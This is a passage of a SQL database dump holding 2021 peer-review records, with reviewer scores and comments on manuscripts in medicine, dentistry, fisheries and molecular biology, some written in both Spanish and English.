PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\nI have recently revised this manuscript.\r\nI do not see that the authors indicate the changes made to the first version, nor that they accompany the current version with a letter explaining the changes made.\r\nIn any case, my previous comments on the Discussion are still valid. In addition, the abbreviations of the Journals in the Bibliographic References section must be corrected.\r\nI suggest that the authors review the following comments:\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nThe abbreviations of journals should conform to those of the US National Library of Medicine for Medline / PubMed (available in: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','2021-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3467,11689,7419,NULL,'5','g','y','y','y','It’s a good article about Expandable micro-motor bur which is a practical dental instrument for the removal of broken teeth roots that cannot be extracted by the routine closed methods. \r\nIn this study the author was well described how to Extract a broken tooth root, utilization of EMB, use of EMB and was tested the prototype of EMB on the molar tooth root of a dog in his upper jaw and the root was successfully extracted. According to this study findings EMB could be used as a new tool to assist removal of broken teeth roots in humans. However further studies are required\r\n','','2021-03-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3468,15588,7764,NULL,'1','r','d','y','y','The studied sample is small ,  children or pediatric must be added to the title of the research , the results are conflicting .','The studied sample is small ,  children or pediatric must be added to the title of the research , the results are conflicting .','2021-03-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3471,17074,6973,NULL,'5','r','y','y','y','It is well motivated and commenting manuscript on CAR T CELLS-ROLE IN CANCER IMMUNOLOGY IMMUNOMODULATION AND IMMUNOTHERAPY. It reports a review of a Cancer is one of the main sources of death around the world. Throughout the long term, several traditional cytotoxic methodologies for neoplastic illnesses have been created.Chimeric Antigen Receptor (CAR) T-cell treatment includes Genetic modification of patient\'s autologous T-cells to communicate a CAR specific for a tumor antigen, following by ex vivo cell development furthermore, re-implantation back to the patient.I should recommend it as a good article which will guide the medical research as well.',' I recommend for publication','2021-03-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3475,17489,7345,NULL,'5','g','n','y','y','  I\'m glad that i\'m invited as a reviewer for, A reserach article on Evaluation of the Ameliorative Roles of Vitamins A, C and E on Malondialdehyde Production in Clarias Gariepinus (BURCHELL, 1822) Fingerlings Exposed to Camium ChlorideThis a huge topic but still the inserted topics are intresting.  The anthropogenic activities culminating in environmental pollution all over the world that usually leads to release of plethora of pollutants such as cadmium calls for concern. Fish is a rich source of animal protein throughout the world. Cat fishes are usually reared for both subsistent and commercial consumption in many parts of developing countries of the world. The African cat fish, Clarias gariepinus is a tropical hardy species belonging to the Phylum Chordata, class Actinopterygii and family Clariidae. It is highly explained So i think this research article can be accepted for publication in your esteemed journal.','Very nice','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3476,17489,7933,NULL,'5','g','n','y','y','  Firstly i thank the team for giving me the opportunity, the editorial is good and it can be published','  ','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3477,17489,7664,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the review article  on \"A Review of Sustainable Culture and Conservation of Indigenous Scaly Fish- Case study of Heterotis (Heterotis niloticus-cuvier 1829)\". The scales usually removed before cooking contain collagen that can be chemically modified to be water-soluble and used for various biomedical applications. The modified collagen can also incorporate drugs to produce wound dressings with a higher healing potential. This suggests that fish scale-derived collagen has potential to be developed for use in biomedical applications. It is helpful for further researches . So i think this Review article can be accepted for publication in your esteemed journal.','','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3479,17489,7546,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the review article  on \"Winter Phytoplankton Blooms Northwest of the Luzon Island in the South China Sea: A Review\". The comprehensive analysis of domestic and international recent studies on phytoplankton blooms in the region northwest of Luzon Island, it is in order to explore the significant impacts of the environmental conditions including wind, Cagayan river discharge, Kuroshio intrusion, upwelling and currents on the spatio-temporal distribution of phytoplankton blooms. It is concluded that the winter phytoplankton bloom is likely due to upwelling and turbulent mixing generated by the Kuroshio interaction with the topography of the Luzon Island. It is helpful for further researches . So i think this Review article can be accepted for publication in your esteemed journal.','','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3480,17489,7544,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the commentary  article  on \"Rapture Facilitates Inexpensive and High-Throughput Parent-Based Tagging in Salmonids\". the physical tagging methods currently used have many challenges including cost, variable marker retention, and information limited to tagged individuals. Genetic tracking methods combat many of the problems associated with physical tags, but have their own challenges including high cost, potentially difficult marker design, and incompatibility of markers across species. I feel this part is well written and can be easily understood,i think this research article can be accepted for publication in your esteemed journal.','','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3481,17489,7432,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the research  article  on \"Research on Effect of Natural Additives on the Quality Attributes of Cultivated Common Carp Fillets During Frozen  Storage\". The natural additives such as essential oil (black seed, grape seed and jojoba oils) and chitosan enhancement the chemical compositions and physicochemical quality of common carp fillets during frozen  storage the quality of food products, especially fish and other seafood, over long storage periods. Freezing minimizes microbial and enzymatic activity and hence preserves the flavor and the nutritional properties In the fish technology industry too, replacement of synthetic additives by natural additive is being widely  encouraged  by  researchers  and  processors. I feel this part is well written and can be easily understood. This could be helpful for futher researches, so i think this research article can be accepted for publication in your esteemed journal.','','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3484,5467,7946,NULL,'4','G','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3485,5467,7946,NULL,'4','G','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3488,17383,7778,NULL,'5','g','y','y','y','I have gone through the article & the research has been done in a very descriptive manner. minor corrections and grammatical errors which will be handled by our editorial team.','Can proceed further with this article for publication','2021-04-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3489,17389,7778,NULL,'6','g','y','y','y','The review is done well, all the points are studied well and the explanation for them is good. ','Can move ahead with publication','2021-04-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3490,17387,7778,NULL,'6','R','y','y','y','Review is done well, all the points are studied well and explaination for them is good. NO comments on that.','Can publish.','2021-04-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3492,17209,7422,NULL,'5','G','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “Minimally Invasive Management of Challenging Left Sided Pulmonary Sequestration”. It is indeed an interesting outlook on Pulmonary sequestration: a review of 26 cases. The abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have minimally invasive preparations with maximal tissue conservation for the favourable long term prognosis in such cases.\r\nIn main description, the medical history was non-contributory. Posterolateral thoracotomy and clinical examinations were performed initially, and robotic surgery can reduce complication profile of surgical approach without compromising safety.\r\nI liked the concept of using Pulmonary sequestration in adults: a retrospective review of resected and unresected cases.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-04-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3493,14071,7729,NULL,'5','G','y','y','y','It is with great pleasure that I review the manuscript entitled “Antitumor activity of normal and chitosan nanoparticles loaded with different extracted vitamin B types”. It is indeed an interesting outlook on naturally-occurring compound called amygdalin is present in apricot kernels and converts to hydrogen cyanide after eating. Cyanide poisoning can cause nausea, fever, headaches, insomnia, thirst, lethargy, nervousness, joint and muscle various aches and pains, and falling blood pressure.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have minimally invasive preparations with maximal tissue conservation for the favourable long term prognosis in such cases.\r\nI liked the concept of using simultaneous and accurate determination of vitamins B1, B6, B12 and alpha-lipoic acid in multivitamin capsule by reverse-phase high performance liquid chromatographic method.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-04-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3496,11589,6825,NULL,'4','G','Y','Y','Y','\r\nThe article entitled \"Relationship between vestibular dysfunction and cognitive impairment in elderly patients: Peripheral vertigo or Central vertigo\" is a hypothesis which explain association between vestibular impairment and cognitive impairment. Mild cognitive impairment (MCI) and dementia patients are associated with increased rate of vestibular loss. And found that the role of the dysfunction of central vestibular systems in neurodegenerative disease need to be warranted. The article is very interesting and useful for future study. I suggest a small change i.e. the formatting and grammar after that this article can publish.','\r\nThe article entitled \"Relationship between vestibular dysfunction and cognitive impairment in elderly patients: Peripheral vertigo or Central vertigo\" is a hypothesis which explain association between vestibular impairment and cognitive impairment. Mild cognitive impairment (MCI) and dementia patients are associated with increased rate of vestibular loss. And found that the role of the dysfunction of central vestibular systems in neurodegenerative disease need to be warranted. The article is very interesting and useful for future study. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-04-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3497,12022,8014,NULL,'3','D','N','N','N','Síndrome de McKittrick-Wheelock Como Causa de Hipokalemia Refractaria y Lesión Renal Aguda. Reporte de Caso.\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n-Autores:\r\nCiertamente la firma del artículo (un caso clínico) por 8 autores es extraña y puede llamar la atención del lector. ¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al caso clínico.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Bibliografía:\r\nLos autores escriben las referencias en diversos estilos. Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals)\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\n\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Authors:\r\nCertainly the signature of the article (clinical case) by 8 authors is strange, and it can attract the attention of the reader. Does the complexity of the work justify the number of people who have theoretically done and signed it? A paper must be signed by anyone who has made a \"substantial contribution\" to it. In my opinion, the contribution of each one to the clinical case should be clarified.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nAuthors write references in various styles. I advise authors to check the references and rewrite them using the Vancouver style.\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals)\r\n-Keywords:\r\nFor keywords, use terms equivalent to those from the Medical Subjects Headings (MeSH) list of the Index Medicus (available at https://meshb.nlm.nih.gov/search). The equivalence between the terms in Spanish (Descriptores en Ciencias de la Salud, DeCS) and the corresponding one in English of the MeSH can be consulted at http://decs.bvs.br/E/homepagee.htm','Síndrome de McKittrick-Wheelock Como Causa de Hipokalemia Refractaria y Lesión Renal Aguda. Reporte de Caso.\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n-Autores:\r\nCiertamente la firma del artículo (un caso clínico) por 8 autores es extraña y puede llamar la atención del lector. ¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al caso clínico.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Bibliografía:\r\nLos autores escriben las referencias en diversos estilos. Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals)\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\n\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Authors:\r\nCertainly the signature of the article (clinical case) by 8 authors is strange, and it can attract the attention of the reader. Does the complexity of the work justify the number of people who have theoretically done and signed it? A paper must be signed by anyone who has made a \"substantial contribution\" to it. In my opinion, the contribution of each one to the clinical case should be clarified.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nAuthors write references in various styles. I advise authors to check the references and rewrite them using the Vancouver style.\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals)\r\n-Keywords:\r\nFor keywords, use terms equivalent to those from the Medical Subjects Headings (MeSH) list of the Index Medicus (available at https://meshb.nlm.nih.gov/search). The equivalence between the terms in Spanish (Descriptores en Ciencias de la Salud, DeCS) and the corresponding one in English of the MeSH can be consulted at http://decs.bvs.br/E/homepagee.htm','2021-04-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3501,12022,8019,NULL,'3','r','n','m','n','INFECCIÓN POR SARS-CoV-2 Y SINDROME DE GUILLAIN-BARRÉ\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Comentarios generales:\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados/Discusión y Conclusiones.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo, y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método.\"\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión” u opinión personal, etc. Probablemente es conveniente construir TABLAS con los resultados y no repetirlos en el texto.\r\n-Referencias:\r\nLas referencias están escritas en diversos estilos, y contienen errores.Yo sugiero que las referencias bibliográficas se escriban usando el estilo Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: Anales de pediatri?a (Barcelona, Spain : 2003). NLM Title Abbreviation: An Pediatr (Barc)\r\n\r\n\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the author please review the following comments:\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the paper\r\n-General comments:\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article, and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\nIs it a personal point of view?\r\nIs it based on an unsystematic or opportunistic search for information?\r\nIs it based on the author\'s experience?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-Results:\r\nA clear section of the results of the “review” or personal opinion, etc. is required. It is probably convenient to build TABLES with the results and not repeat them in the text.\r\n-References:\r\nReferences are written in a variety of styles, and contain errors. I suggest that bibliographic references be written using the Vancouver style.\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nFor example: Anales de pediatría (Barcelona, ??Spain: 2003). NLM Title Abbreviation: An Pediatr (Barc)','INFECCIÓN POR SARS-CoV-2 Y SINDROME DE GUILLAIN-BARRÉ\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Comentarios generales:\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados/Discusión y Conclusiones.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo, y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método.\"\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión” u opinión personal, etc. Probablemente es conveniente construir TABLAS con los resultados y no repetirlos en el texto.\r\n-Referencias:\r\nLas referencias están escritas en diversos estilos, y contienen errores.Yo sugiero que las referencias bibliográficas se escriban usando el estilo Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: Anales de pediatri?a (Barcelona, Spain : 2003). NLM Title Abbreviation: An Pediatr (Barc)\r\n\r\n\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the author please review the following comments:\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the paper\r\n-General comments:\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article, and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\nIs it a personal point of view?\r\nIs it based on an unsystematic or opportunistic search for information?\r\nIs it based on the author\'s experience?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-Results:\r\nA clear section of the results of the “review” or personal opinion, etc. is required. It is probably convenient to build TABLES with the results and not repeat them in the text.\r\n-References:\r\nReferences are written in a variety of styles, and contain errors. I suggest that bibliographic references be written using the Vancouver style.\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nFor example: Anales de pediatría (Barcelona, ??Spain: 2003). NLM Title Abbreviation: An Pediatr (Barc)','2021-04-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3519,10941,6237,NULL,'5','5','5','5','5','Accepted Without Changes','','2021-04-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3526,10963,8041,NULL,'3','g','y','y','N','The authors assess the relationship between cytomegalovirus (CMV) and the risk of developing schizophrenia and to reduce the chance of developing schizophrenia by giving antiviral agents. The authors plan to detect immunoglobulin type (IgM) specific to CMV in schizophrenic patients and to assess the correlation between CMV and schizophrenia and the association between CMV, age and sex. The authors show that males are more affected with both schizophrenia and cytomegalovirus. Larger sample size and other laboratory diagnostic methods to detect CMV are required.\r\nComments:\r\n1.	Please cite the figures in the text.\r\n2.	Please check the conclusion??? The conclusion is repeated on page 11 (bottom of the page).\r\nThe authors could write a conclusion that reflects the contents of the manuscript.\r\n3.	The authors in the aims indicate that cytomegalovirus virus and the risk of developing schizophrenia has become important and to reduce the chance of developing schizophrenia by giving antiviral agents. The authors do not present any data of the effects of anti-viral agents on the development of schizophrenia in this study???\r\n4.	The manuscript may require English language editing. Sentence structure, paragraphs, typographical errors, comprehension, etc.\r\n5.	The authors in this manuscript may indicate that previous published studies that do not support an association of cytomegalovirus infection with schizophrenia is not correct and CMV does increase the risk of developing schizophrenia.\r\n6.	The findings of CMV and the development of schizophrenia may be compare with relevance to other viruses such as Herpes Simplex and schizophrenia.\r\nRELEVANT REFERENCES:\r\nA.	Torrey, E.F., Leweke, M.F., Schwarz, M.J. et al. Cytomegalovirus and Schizophrenia. CNS Drugs 20, 879–885 (2006). \r\nB.	Satish Shrikhande , Steven R. Hirsch , J. C. Coleman , Michael A. Reveley  and R. Dayton Cytomegalovirus and Schizophrenia. A Test of a Viral Hypothesis. 2018, British Journal of Psychiatry\r\nC.	Yolken R. Viruses and schizophrenia: a focus on herpes simplex virus. Herpes. 2004 Jun;11 Suppl 2:83A-88A. \r\nD.	Jung Jin Kim. Viral Infections as Etiological Factors of Schizophrenia. Psychiatry Investig 2007;4:61-65 \r\n\r\n\r\n','','2021-04-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3535,12875,8064,NULL,'4','R','N','Y','Y','A good descriptive epidemiological analysis of Gangrenous Intussusception in children. In the conclusion, the dominance of cases among male children should have been mentioned. The important missing analysis in the case fatality. Reported deaths could have been analysed according to the gap of the duration of reporting after initial symptoms/signs and surgical procedures apart from age, gender distribution','A goo descriptive analysis deserving publication with some revisions such as the role of duration of reporting after the initial symptoms, the complications observed on laparotomy in addition to age and gender','2021-04-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3543,17522,7978,NULL,'3','G','Y','Y','Y','1.	The full name of the abbreviation “MOMP”? \r\n2.	Does XIAP-AS1 regulate XIAP mRNA stability or protein stability? \r\n3.	The role of cIAP1 and cIAP2, as E3-ligases, in TNF signaling should be elucidated. \r\n4.	“CONCLUSION and PERSPECTIVES”: there are some incomplete sentences: “Therefore conclude that as………. and treatment.”, need to be corrected.\r\n5.	“The function of XIAP-AS1 is currently still unclear”, may be better to be rewritten in another way, because some functions as mentioned in the review have been revealed.\r\n6.	“CONCLUSION and PERSPECTIVES”: It is critical to point out some future directions regarding XIAP-AS1.\r\n7.	It is better to draw a molecular schematic to show the length, genomic location, the association with SP1, revealed functions, et. al. of XIAP-AS1.  \r\n8.	It would be better to extend the elucidation of the function of each IAP family member in terms of disease association, signaling pathways, and molecular function, while not only confined within apoptosis. \r\n9.	To increase the impact of this review, it is better to integrate the general action mechanisms of ncRNAs (PMID: 33497819).\r\n10.	Does XIAP-AS1 regulate necroptosis?\r\n11.	Does XIAP-AS1 interact with other proteins in addition to SP1?\r\n','This mini review overall contains limited information; the contents needs to be 